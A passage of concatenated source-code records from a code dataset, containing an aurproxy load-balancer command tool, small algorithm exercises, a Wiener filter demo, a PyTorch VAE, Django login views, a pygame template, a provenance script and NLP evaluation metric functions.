commandr\nfrom flask import Flask\nfrom gevent.wsgi import WSGIServer\nimport json\nimport logging\n\nfrom tellapart.aurproxy.app.module.http import lifecycle_blueprint\nfrom tellapart.aurproxy.app.lifecycle import register_shutdown_handler\nfrom tellapart.aurproxy.metrics.store import (\n add_publisher,\n set_root_prefix)\nfrom tellapart.aurproxy.proxy import ProxyUpdater\nfrom tellapart.aurproxy.util import (\n get_logger,\n load_cli_plugin,\n load_klass_plugin,\n setup_sentry,\n setup_sentry_wsgi)\n\n\nlogger = get_logger(__name__)\nlogging.getLogger('requests').setLevel(logging.WARNING)\n\n_DEFAULT_BACKEND = 'nginx'\n_DEFAULT_MAX_UPDATE_FREQUENCY = 10\n_DEFAULT_METRIC_PUBLISHER_CLASS = None\n_DEFAULT_METRIC_PUBLISHER_KWARGS = []\n_DEFAULT_REGISTRATION_CLASS = None\n_DEFAULT_REGISTRATION_KWARGS = []\n_DEFAULT_UPDATE_PERIOD = 2\n_DEFAULT_WEIGHT_ADJUSTMENT_DELAY_SEC = 180\n\n@commandr.command\ndef run(management_port,\n config,\n backend=_DEFAULT_BACKEND,\n update_period=_DEFAULT_UPDATE_PERIOD,\n max_update_frequency=_DEFAULT_MAX_UPDATE_FREQUENCY,\n weight_adjustment_delay_seconds=_DEFAULT_WEIGHT_ADJUSTMENT_DELAY_SEC,\n registration_class=_DEFAULT_REGISTRATION_CLASS,\n registration_arg=_DEFAULT_REGISTRATION_KWARGS,\n metric_publisher_class=_DEFAULT_METRIC_PUBLISHER_CLASS,\n metric_publisher_arg=_DEFAULT_METRIC_PUBLISHER_KWARGS,\n sentry_dsn=None,\n setup=False):\n \"\"\"Run the Aurproxy load balancer manager.\n\n Args:\n management_port - int - port for the manager application to listen on for\n Aurora lifecycle queries and events (/health, /quitquit, etc.).\n config - JSON String - Load balancer configuration. See README.md for\n detailed documentation.\n backend - Load balancer manager backend to use. EG: \"nginx\".\n update_period - int - frequency with which the need to update is checked.\n max_update_frequency - int - minimum number of seconds between updates.\n weight_adjustment_delay_seconds - int - number of seconds to wait before\n starting configured share adjusters. May not want them running\n immediately after aurproxy deploys.\n registration_class - str - Python class path for registration class.\n registration_arg - list(str) - List of equal-sign-delimited string kwarg\n pairs.\n Example:\n [\"domain=myapp.mydomain.com\", \"type=A\"]\n metric_publisher_class - str - Python class path for metrics publisher\n class.\n metric_publisher_arg - list(str) - List of equal-sign-delimited string\n kwarg pairs.\n Example:\n [\"source=cluster.role.environment.job\"]\n sentry_dsn - str - Sentry DSN for error logging.\n setup - bool - When run in setup mode, aurproxy will render a configuration\n for the managed load balancer once and then exit. Run aurproxy once in\n setup mode to set up the load balancer, then start aurproxy and the load\n balancer together.\n \"\"\"\n # Set up sentry error logging\n if sentry_dsn:\n setup_sentry(sentry_dsn)\n\n # Load config\n proxy_config = json.loads(config)\n\n # Set up updater\n proxy_updater = ProxyUpdater(backend, proxy_config, update_period,\n max_update_frequency)\n\n if setup:\n proxy_updater.set_up()\n else:\n # Set up metrics\n set_root_prefix('aurproxy')\n if metric_publisher_class:\n try:\n publisher = load_cli_plugin(metric_publisher_class,\n metric_publisher_arg)\n add_publisher(publisher)\n except Exception:\n logger.exception('Metrics failure.')\n raise\n\n # Set up registration\n if registration_class:\n try:\n registerer = load_cli_plugin(registration_class, registration_arg)\n registerer.add()\n register_shutdown_handler(registerer.remove)\n except Exception:\n logger.exception('Registration failure.')\n raise\n\n # Start the proxy updater.\n proxy_updater.start(weight_adjustment_delay_seconds)\n\n # Set up management application\n app = Flask(__name__)\n app.register_blueprint(lifecycle_blueprint)\n if sentry_dsn:\n app = setup_sentry_wsgi(app, sentry_dsn)\n http_server = WSGIServer(('0.0.0.0', int(management_port)), app)\n http_server.serve_forever()\n\n@commandr.command\ndef synchronize(registration_source,\n registration_class,\n registration_arg=_DEFAULT_REGISTRATION_KWARGS,\n write=False):\n \"\"\"Add and remove Aurproxy task instances from upstream services.\n\n Intended to be run by administrators or to be called automatically as a cron\n as a supplement to / safety net for the pluggable in-task registration and\n deregistration Aurproxy events that are driven by Aurora lifecycle events.\n\n Args:\n registration_source - JSON string - Source configuration.\n Format:\n {'registration_class': 'python.class.path',\n 'arg1': 'val1',\n 'arg2': 'val2'}\n Example:\n '{\"source_class\": \"aurproxy.sources.AuroraSource\"\n \"announcer_serverset_path\": \"/aurora/\",\n \"zk_servers\": \"0.zk.mycluster.mydomain.com:2181,\n 1.zk.mycluster.mydomain.com:2181,\n 2.zk.mycluster.mydomain.com:2181,\n \"environment\": \"devel\",\n \"job\": \"proxytest\",\n \"role\": \"proxy\",\n \"endpoint\": \"http\"}\n See source class definition for valid kwargs.\n registration_class - str - Python class path for registration class.\n registration_arg - list(str) - List of equal-sign-delimited string kwarg\n pairs.\n Example:\n [\"domain=myapp.mydomain.com\", \"type=A\"]\n write - bool - Whether to apply the changes.\n \"\"\"\n source_dict = json.loads(registration_source)\n source = load_klass_plugin(source_dict,\n klass_field_name='source_class')\n extra_kwargs = {'source': source}\n registerer = load_cli_plugin(registration_class,\n registration_arg,\n extra_kwargs=extra_kwargs)\n registerer.synchronize(write)\n\nif __name__ == '__main__':\n commandr.Run()\n","sub_path":"tellapart/aurproxy/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"503908870","text":"\"\"\"\nThe idea is based around the fact that at any point,\nthe 'turtle' (if you think of the lattice in that way)\nneeds to go either down (D) or right (R) to get from\nthe UL to BR.\n\nIn a sequence of moves, there need to be n + m moves total\n(in an n x m grid). Because we are working with square grids,\nthis can be generalized to 2n moves total in a n x n grid.\n\nThere need to be n moves down and n moves to the right, so if we\nturn the sequence of moves into a string, encoding 0 as D and 1 as R,\nwe would need to have n 0's and n 1's in the string.\n\nTo count the number of valid moves through a lattice, all we would\nthen need to do is find the number of unique valid strings containing\nnothing but 0's and 1's with length 2n and containing n 0's and 1's respectively.\n\"\"\"\n\nsum = 0\n\ngrid_dim = 20\n\nfor i in range(int(grid_dim * '0' + grid_dim * '1', 2), int(grid_dim * '1' + '0' * grid_dim, 2) + 1):\n zeroes = 0\n b = bin(i)[2:]\n s = \"0\" * (2*grid_dim - len(b)) + b\n for char in s:\n if char == '0':\n zeroes += 1\n if zeroes == grid_dim:\n sum+=1\n\nprint(sum)\n","sub_path":"Problems/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"494037904","text":"from pylab import *\nfrom scipy.stats import norm\nfrom scipy.signal import wiener\n#http://www.owlnet.rice.edu/~elec539/Projects99/BACH/proj2/blind/bd.html\n#http://en.wikipedia.org/wiki/Wiener_deconvolution\n#http://mpastell.com/2010/01/18/fir-with-scipy/\n#http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-011-introduction-to-communication-control-and-signal-processing-spring-2010/readings/MIT6_011S10_chap09.pdf\n\ndef autocorr(x):\n result = correlate(x, x, mode='full')\n return result[result.size/2:]\ndef hermitianfft(x):\n return fftshift(fft(x)[x.size/2+1:])\ndef hermitianfftfreq(N):\n return fftshift(fftfreq(N))[N/2+1:]\n\nt = arange(0,50,.5)\n#t = arange(50)\nsignal = sin(t)\nnoise = norm.pdf(t/2.,loc=4) *20\nrealsignal = signal + noise\nRxx = autocorr(realsignal)\nPSD = hermitianfft(Rxx)\nfreqs = hermitianfftfreq(signal.size)\nplot(t,realsignal)\nplot(t,wiener(realsignal,noise=None))\n#sanity check FT**2 == FT(Rxx)\n#plot(freqs,.5*abs(hermitianfft(realsignal))**2)\n#plot(freqs,PSD)\n#plot(freqs,wiener(PSD))\nshow()\n","sub_path":"random/wienerfilter.py","file_name":"wienerfilter.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"13813162","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass VAE(nn.Module):\n def __init__(self, obs_dim, latent_dim, hidden_dim=100):\n \"\"\"Initialize the VAE model.\n\n Args:\n sigma: the standard deviation of the latent variable z, float\n obs_dim: Dimension of the observed data x, int\n latent_dim: Dimension of the latent variable z, int\n hidden_dim: Hidden dimension of the encoder/decoder networks, int\n \"\"\"\n super().__init__()\n self.latent_dim = latent_dim\n self.sigma = 0\n # Trainable layers of the encoder\n self.linear1 = nn.Linear(obs_dim, hidden_dim)\n self.linear21 = nn.Linear(hidden_dim, latent_dim)\n self.linear22 = nn.Linear(hidden_dim, latent_dim)\n # Trainable layers of the decoder\n self.linear3 = nn.Linear(latent_dim, hidden_dim)\n self.linear4 = nn.Linear(hidden_dim, obs_dim)\n\n # Trainable layers of the std\n self.linear5 = nn.Linear(latent_dim, hidden_dim)\n self.linear6 = nn.Linear(hidden_dim, obs_dim)\n\n def encoder(self, x):\n \"\"\"Obtain the parameters of q_phi(z|x) for a batch of data points.\n\n Args:\n x: Batch of data points, shape [batch_size, obs_dim]\n\n Returns:\n mu: Means of q_phi(z|x), shape [batch_size, latent_dim]\n logsigma: Log-sigmas of q_phi(z|x), shape [batch_size, latent_dim]\n \"\"\"\n h = torch.relu(self.linear1(x))\n return self.linear21(h), self.linear22(h)\n\n def sigma_layer(self, x):\n \"\"\"Obtain the log standard deviation sigma of p_theta(x|z).\n\n Args:\n x: Batch of data points, shape [batch_size, obs_dim]\n\n Returns:\n sigma: The log standard deviation of the distribution p_theta(x|z)\n \"\"\"\n\n h = torch.relu(self.linear5(x))\n return self.linear6(h)\n\n def sample_with_reparam(self, mu, logsigma):\n \"\"\"Draw sample from p(z) with reparametrization.\n\n Args:\n mu: Means of p(z) for the batch, shape [batch_size, latent_dim]\n logsigma: Log-sigmas of p(z) for the batch, shape [batch_size, latent_dim]\n\n Returns:\n z: Latent variables samples from p(z), shape [batch_size, latent_dim]\n \"\"\"\n epsilon = torch.empty_like(mu).normal_(0., 1.)\n return epsilon * logsigma.exp() + mu\n\n def decoder(self, z):\n \"\"\"Obtain the mean of the distribution p_theta(x|z).\n\n Args:\n z: Sampled latent variables, shape [batch_size, latent_dim]\n\n Returns:\n theta: Mean of the conditional likelihood, shape [batch_size, obs_dim]\n \"\"\"\n return self.linear4(torch.relu(self.linear3(z)))\n\n\n def kl_divergence(self, mu, logsigma):\n \"\"\"Compute KL divergence KL(p_theta(z|x)||p(z)).\n\n Args:\n mu: Means of the distributions, shape [batch_size, latent_dim]\n logsigma: Logarithm of standard deviations of the distributions,\n shape [batch_size, latent_dim]\n\n Returns:\n kl: KL divergence for each of the distributions, shape [batch_size]\n \"\"\"\n return 0.5 * (mu.pow(2) + (2 * logsigma).exp() - 2 * logsigma - 1).sum(-1)\n\n\n def make_prior(self):\n \"\"\"Compute prior distribution. [NOT USED]\n\n Returns:\n The prior, a standard multivariate normal distribution.\n \"\"\"\n\n mu = torch.zeros(self.latent_dim)\n sigma = torch.eye(self.latent_dim)\n return torch.distributions.multivariate_normal.MultivariateNormal(mu, sigma)\n\n def make_posterior(self, mu, logsigma):\n \"\"\"Compute posterior distribution [NOT USED]\n\n We draw a single sample z_i for each data point x_i.\n\n :args:\n mu: Means for the batch, shape [batch_size, latent_dim]\n logsigma: Log-sigmas for the batch, shape [batch_size, latent_dim]\n\n :Returns:\n The prosterior distributions, standard multivariate normal distributions for every mean and variance.\n \"\"\"\n tensor_ = torch.diag(logsigma[0, :].exp())\n for i in range(1, self.logsigma.shape[0]):\n tensor_ = torch.cat((tensor_, torch.diag(self.logsigma[i, :].exp())), dim=0)\n\n return torch.distributions.multivariate_normal.MultivariateNormal(mu, tensor_.reshape((-1, 2, 2)))\n\n def elbo(self, x):\n \"\"\"Estimate the ELBO for the batch of data.\n\n Args:\n x: Batch of the observations, shape [batch_size, obs_dim]\n\n Returns:\n elbo: Estimate of ELBO for each sample in the batch, shape [batch_size]\n \"\"\"\n mu, logsigma = self.encoder(x)\n z = self.sample_with_reparam(mu, logsigma)\n theta = self.decoder(z)\n self.sigma = self.sigma_layer(z)\n samples = self.sample_with_reparam(theta, self.sigma)\n # log_obs_prob = torch.distributions.normal.Normal(theta, sigma.exp()).log_prob(x).sum(-1)\n # Computing the mse directly speeds up the training\n log_obs_prob = -F.mse_loss(samples, x, reduction='none').sum(-1)\n kl = self.kl_divergence(mu, logsigma)\n return log_obs_prob - kl\n\n def sample(self, num_samples):\n \"\"\"Generate samples from the model.\n\n Args:\n num_samples: Number of samples to generate.\n\n Returns:\n x: Samples generated by the model, shape [num_samples, obs_dim]\n \"\"\"\n z = torch.empty(num_samples, self.latent_dim).normal_()\n theta = self.decoder(z)\n sigma = self.sigma_layer(z)\n samples = self.sample_with_reparam(theta, sigma)\n return samples\n\n\n\n","sub_path":"Ex4/Task4/utils/vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":5675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"416167006","text":"from typing import List\nclass Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n if n == 0 or k == 0:\n return [] \n ans = [[x] for x in range(0,1+n-k)]\n newAns = []\n while len(ans[-1]) < k:\n for combination in ans:\n for i in range(combination[-1]+1, n):\n newAns.append(combination + [i])\n ans = newAns\n newAns = []\n return ans\n\n def subsets(self, nums: List[int]) -> List[List[int]]:\n ans = [[]]\n for i in range(len(nums)+1):\n ans += self.combine(len(nums), i)\n for combination in ans:\n combination[:] = [nums[j] for j in combination]\n return ans\n\ns = Solution()\nnums = [1,2,3]\no = [\n [3],\n [1],\n [2],\n [1,2,3],\n [1,3],\n [2,3],\n [1,2],\n []\n]\nans = s.subsets(nums)\nprint(sorted(ans) == sorted(o), ans)","sub_path":"78.py","file_name":"78.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"172912661","text":"from django.shortcuts import get_object_or_404, redirect, render\nfrom django.conf import settings\nfrom django.contrib.auth.views import login as auth_login\nfrom allauth.socialaccount.models import SocialApp\nfrom allauth.socialaccount.templatetags.socialaccount import get_providers\n\nfrom .forms import LoginForm\nfrom .forms import SignupForm\nfrom .models import Profile\n\n\n\ndef profile(request):\n return render(request, 'accounts/profile.html')\n\n\ndef signup(request):\n if request.method == 'POST':\n form = SignupForm(request.POST)\n if form.is_valid():\n user = form.save()\n return redirect(settings.LOGIN_URL)\n else:\n form = SignupForm()\n return render(request, 'accounts/signup_form.html', {\n 'form': form,\n })\n\n\ndef login(request):\n providers = []\n for provider in get_providers():\n # social_app속성은 provider에는 없는 속성입니다.\n try:\n provider.social_app = SocialApp.objects.get(provider=provider.id, sites=settings.SITE_ID)\n except SocialApp.DoesNotExist:\n provider.social_app = None\n providers.append(provider)\n return auth_login(request,\n authentication_form=LoginForm,\n template_name='accounts/login.html',\n extra_context={'providers': providers})\n","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"645249617","text":"import pygame\r\n\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nBLUE = (50, 50, 255)\r\nYELLOW = (255, 255, 0)\r\nORANGE = (245, 154, 17)\r\npygame.init()\r\nsize = (640, 480)\r\nscreen = pygame.display.set_mode(size)\r\npygame.display.set_caption(\"My Window\")\r\ndone = False\r\nsun_x = 40\r\nsun_y = 100\r\r\nclock = pygame.time.Clock()\r\n\r\nwhile not done:\r\n# -- User input and controls\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done = True\r\n screen.fill (BLACK)\r\n# -- Draw here\r\n pygame.draw.rect(screen, BLUE, (220,165,200,150))\r\n pygame.draw.circle(screen, YELLOW, (sun_x,sun_y),40,0)\r\n\r\n# -- flip display to reveal new position of objects\r\n pygame.display.flip()\r\n # - The clock ticks over\r\n clock.tick(60)\r\n sun_x += 5\r\n#End While - End of game loop\r\npygame.quit()\r\n\r\n","sub_path":"Python tasks/PyGame/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"407049962","text":"import dml\nimport prov.model\nimport datetime\nimport uuid\n\n\nclass combineneighbourhood(dml.Algorithm):\n contributor = 'jhs2018_rpm1995'\n reads = ['jhs2018_rpm1995.neighbourhoodnames',\n 'jhs2018_rpm1995.neighbourhoodnonames']\n writes = ['jhs2018_rpm1995.neighbourhoods']\n\n @staticmethod\n def execute(trial=False):\n # Retrieve datasets\n startTime = datetime.datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('jhs2018_rpm1995', 'jhs2018_rpm1995')\n\n print(\"Now running combineneighbourhood.py\")\n # Collecting collections\n\n nonames = repo.jhs2018_rpm1995.neighbourhoodnonames.find()\n # names = repo.jhs2018_rpm1995.neighbourhoodnames.find()\n\n cleanneighbourhoods = [] # Will insert this into our new collection\n\n for tosearch in nonames:\n id = tosearch['fields']['objectid']\n names = repo.jhs2018_rpm1995.neighbourhoodnames.find()\n for searchhere in names:\n if id == searchhere['properties']['OBJECTID']:\n cleanneighbourhoods.append({\n \"Name\": searchhere['properties']['Name'], \"Details\": tosearch['fields']['geo_shape'][\n 'coordinates'][0]\n })\n break\n\n repo.dropCollection(\"neighbourhoods\")\n repo.createCollection(\"neighbourhoods\")\n\n repo['jhs2018_rpm1995.neighbourhoods'].insert_many(cleanneighbourhoods)\n\n repo.logout()\n\n endTime = datetime.datetime.now()\n\n return {\"start\": startTime, \"end\": endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None):\n\n # Create the provenance document describing everything happening\n # in this script. Each run of the script will generate a new\n # document describing that invocation event.\n\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('jhs2018_rpm1995', 'jhs2018_rpm1995')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet',\n # 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n doc.add_namespace('bwod', 'https://boston.opendatasoft.com/explore/dataset/boston-neighborhoods/') # Boston\n # Wicked Open Data\n doc.add_namespace('ab', 'https://data.boston.gov/dataset/boston-neighborhoods') # Analyze Boston\n\n this_script = doc.agent('alg:jhs2018_rpm1995#combineneighbourhood',\n {prov.model.PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'})\n\n# #######\n resource_neighbourhoodnonames = doc.entity('bwod: neighbourhoods_no_names', {'prov:label': 'Boston '\n 'Neighbourhoods '\n 'without Names',\n prov.model.PROV_TYPE: 'ont:DataResource',\n 'ont:Extension': 'geojson'})\n\n resource_neighbourhoodnames = doc.entity('ab: neighbourhood_names', {'prov:label': 'Boston '\n 'Neighbourhood Names',\n prov.model.PROV_TYPE:\n 'ont:DataResource',\n 'ont:Extension': 'json'})\n\n neighbourhoodfinal = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime,\n {\n prov.model.PROV_LABEL: \"Combine Boston neighbourhood names with \"\n \"Locations\",\n prov.model.PROV_TYPE: 'ont:Computation'})\n\n doc.wasAssociatedWith(neighbourhoodfinal, this_script)\n\n doc.usage(neighbourhoodfinal, resource_neighbourhoodnonames, startTime)\n doc.usage(neighbourhoodfinal, resource_neighbourhoodnames, startTime)\n\n# #######\n neighbourhoods = doc.entity('dat:jhs2018_rpm1995neighbourhoods',\n {prov.model.PROV_LABEL: 'Neighbourhoods in Boston',\n prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(neighbourhoods, this_script)\n doc.wasGeneratedBy(neighbourhoods, neighbourhoodfinal, endTime)\n doc.wasDerivedFrom(neighbourhoods, resource_neighbourhoodnonames, neighbourhoodfinal, neighbourhoodfinal,\n neighbourhoodfinal)\n doc.wasDerivedFrom(neighbourhoods, resource_neighbourhoodnames, neighbourhoodfinal, neighbourhoodfinal,\n neighbourhoodfinal)\n\n repo.logout()\n\n return doc\n\n\n# combineneighbourhood.execute()\n# doc = combineneighbourhood.provenance()\n# print(doc.get_provn())\n# print(json.dumps(json.loads(doc.serialize()), indent=4))\n\n# eof\n","sub_path":"jhs2018_rpm1995/combineneighbourhood.py","file_name":"combineneighbourhood.py","file_ext":"py","file_size_in_byte":5762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"64483685","text":"# Copyright 2021 san kim\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom absl import logging\nfrom collections import Counter\nimport numpy as np\nfrom numpy.lib.function_base import average\nimport sacrebleu\nimport scipy.stats\nimport sklearn.metrics\nfrom rouge_score import rouge_scorer\nfrom rouge_score import scoring\n\n\ndef accuracy_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n return {\"accuracy\": {'score': 100*sklearn.metrics.accuracy_score(targets, predictions), 'count': len(targets)}}\n\n\ndef f1_score_micro_sample_weight_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n # At Klue RE, micro F1 Scores exclude no_relation(0) \n sample_weight = np.array(targets != 0, dtype=np.float)\n return {\"f1_score_micro_sample_weight\": {'score': 100*sklearn.metrics.f1_score(targets, predictions, average='micro', sample_weight=sample_weight, zero_division = 0), 'count': np.count_nonzero(targets)}}\n\n\ndef bleu_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n \"\"\"Computes BLEU score.\n Args:\n targets: list of strings or list of list of strings if multiple references\n are present.\n predictions: list of strings\n Returns:\n bleu_score across all targets and predictions\n \"\"\"\n _targets = gathered_dict[target_key]\n targets = _targets\n predictions = gathered_dict[prediction_key]\n if isinstance(targets[0], list):\n targets = [[x for x in target] for target in targets]\n else:\n # Need to wrap targets in another list for corpus_bleu.\n targets = [targets]\n\n bleu_score = sacrebleu.corpus_bleu(predictions, targets,\n smooth_method=\"exp\",\n smooth_value=0.0,\n force=False,\n lowercase=False,\n tokenize=\"intl\",\n use_effective_order=False)\n return {\"bleu\": {'score': bleu_score.score, 'count': len(_targets)}}\n\n\ndef rouge_dict(gathered_dict, target_key='labels', prediction_key='predictions', score_keys=None):\n \"\"\"Computes rouge score.\n Args:\n targets: list of strings\n predictions: list of strings\n score_keys: list of strings with the keys to compute.\n Returns:\n dict with score_key: rouge score across all targets and predictions\n \"\"\"\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n\n if score_keys is None:\n score_keys = [\"rouge1\", \"rouge2\", \"rougeLsum\"]\n scorer = rouge_scorer.RougeScorer(score_keys)\n aggregator = scoring.BootstrapAggregator()\n\n def _prepare_summary(summary):\n # Make sure the summary is not bytes-type\n # Add newlines between sentences so that rougeLsum is computed correctly.\n summary = summary.replace(\" . \", \" .\\n\")\n return summary\n\n for prediction, target in zip(predictions, targets):\n target = _prepare_summary(target)\n prediction = _prepare_summary(prediction)\n aggregator.add_scores(scorer.score(\n target=target, prediction=prediction))\n result = aggregator.aggregate()\n return {key: {'score': result[key].mid.fmeasure*100, 'count': len(targets)} for key in score_keys}\n\n\ndef exact_match_str_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n return {\"exact_match_str\": {'score': 100 * np.average(np.array([x==y for x, y in zip(targets, predictions)], dtype=np.float)), 'count': len(targets)}}\n\ndef f1_str_base(target, prediction):\n target = [ch for ch in target]\n prediction = [ch for ch in prediction]\n\n same = Counter(target) & Counter(prediction)\n num_same = sum(same.values())\n if num_same == 0:\n return 0\n precision = 1.0 * num_same / len(prediction)\n recall = 1.0 * num_same / len(target)\n f1 = (2 * precision * recall) / (precision + recall)\n \n return f1\n\ndef f1_str_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n return {\"f1_str\": {'score': 100 * np.average(np.array([f1_str_base(x, y) for x, y in zip(targets, predictions)], dtype=np.float)), 'count': len(targets)}}\n\n\ndef pearson_corrcoef_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n \"\"\"Pearson correlation coefficient.\"\"\"\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n predictions = np.squeeze(predictions)\n return {\"pearson_corrcoef\":\n {'score': 100 * scipy.stats.pearsonr(targets, predictions)[0], 'count': len(targets)}}\n\n\ndef spearman_corrcoef_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n \"\"\"Spearman correlation coefficient.\"\"\"\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n predictions = np.squeeze(predictions)\n return {\"spearman_corrcoef\":\n {'score': 100 * scipy.stats.spearmanr(targets, predictions)[0], 'count': len(targets)}}\n\n\ndef token_accuracy_dict(gathered_dict, target_key='labels', target_weights_key='targets_attention_mask', prediction_key='predictions'):\n \"\"\"Spearman correlation coefficient.\"\"\"\n targets = gathered_dict[target_key].flatten()\n predictions = gathered_dict[prediction_key].flatten()\n target_weights = gathered_dict[target_weights_key] if target_weights_key in gathered_dict else None\n if target_weights is not None:\n target_weights = target_weights.flatten()\n return {\"token_accuracy\": {'score': 100*sklearn.metrics.accuracy_score(targets, predictions, sample_weight=target_weights), 'count': np.sum(target_weights)}}\n else:\n return {\"token_accuracy\": {'score': 100*sklearn.metrics.accuracy_score(targets, predictions), 'count': len(targets)}}\n\ndef matthews_corrcoef_dict(gathered_dict, target_key='labels', prediction_key='predictions'):\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n return {\"matthews_corrcoef\": {'score': sklearn.metrics.matthews_corrcoef(targets, predictions), 'count': len(targets)}}\n\n\ndef token_accuracy_dict_variable_length(gathered_dict, target_key='labels', prediction_key='predictions', **unused_kwargs):\n \"\"\"Spearman correlation coefficient.\"\"\"\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n\n _cnt = 0\n _sum = 0\n\n for idx, target in enumerate(targets):\n prediction = predictions[idx]\n for t, p in zip(target, prediction):\n if t == p:\n _sum += 1\n _cnt += 1\n \n return {\"token_accuracy\": {'score': 100*_sum/_cnt, 'count': _cnt}}\n\n\ndef create_char_tags(prediction, char_to_token, char_tag, iob2_tags):\n char_tag_pred = [iob2_tags.index('O')] * len(char_tag)\n \n for pred_token_idx, pred_label in enumerate(prediction):\n tag_txt = iob2_tags[pred_label]\n if tag_txt != 'O':\n if tag_txt[0] == 'B':\n beg_tk_id = pred_label\n end_tk_id = iob2_tags.index('I'+tag_txt[1:])\n is_first=True\n for ch_idx, token_idx in enumerate(char_to_token):\n if token_idx == pred_token_idx:\n if is_first:\n char_tag_pred[ch_idx] = beg_tk_id\n is_first=False\n else:\n char_tag_pred[ch_idx] = end_tk_id\n else:\n for ch_idx, token_idx in enumerate(char_to_token):\n if token_idx == pred_token_idx:\n char_tag_pred[ch_idx] = pred_label\n return char_tag_pred\n\ndef char_level_f1_score_klue_dict(gathered_dict, iob2_tags, target_key='labels', prediction_key='predictions', klue_metric_key='klue_metric', **unused_kwargs):\n \"\"\"Spearman correlation coefficient.\"\"\"\n targets = gathered_dict[target_key]\n predictions = gathered_dict[prediction_key]\n\n klue_metric_info = gathered_dict[klue_metric_key]\n char_to_token = klue_metric_info['char_to_token']\n char_tag = klue_metric_info['char_tag']\n\n _cnt = 0\n _sum = 0\n\n for target, prediction, ch2tk, chlvl_tag in zip(targets, predictions, char_to_token, char_tag):\n chlvl_tag_pred = create_char_tags(prediction, ch2tk, chlvl_tag, iob2_tags)\n\n chlvl_tag_np = np.array(chlvl_tag)\n chlvl_tag_pred_np = np.array(chlvl_tag_pred)\n sample_weight = np.array(chlvl_tag_np != iob2_tags.index('O'), dtype=np.float)\n\n sum_sample_w = np.sum(sample_weight)\n\n if sum_sample_w > 0:\n _sum += 100*sklearn.metrics.f1_score(chlvl_tag_np, chlvl_tag_pred_np, average='macro', sample_weight=sample_weight)\n _cnt += int(sum_sample_w)\n \n return {\"char_f1\": {'score': _sum/_cnt, 'count': _cnt}}\n\n\n\n\n\n\n# # adopted from 't5' github\n# def accuracy(targets, predictions):\n# return {\"accuracy\": 100*sklearn.metrics.accuracy_score(targets, predictions)}\n\n\n\n# # adopted from 't5' github\n# def bleu(targets, predictions):\n# \"\"\"Computes BLEU score.\n# Args:\n# targets: list of strings or list of list of strings if multiple references\n# are present.\n# predictions: list of strings\n# Returns:\n# bleu_score across all targets and predictions\n# \"\"\"\n# if isinstance(targets[0], list):\n# targets = [[x for x in target] for target in targets]\n# else:\n# # Need to wrap targets in another list for corpus_bleu.\n# targets = [targets]\n\n# bleu_score = sacrebleu.corpus_bleu(predictions, targets,\n# smooth_method=\"exp\",\n# smooth_value=0.0,\n# force=False,\n# lowercase=False,\n# tokenize=\"intl\",\n# use_effective_order=False)\n# return {\"bleu\": bleu_score.score}\n\n# # adopted from 't5' 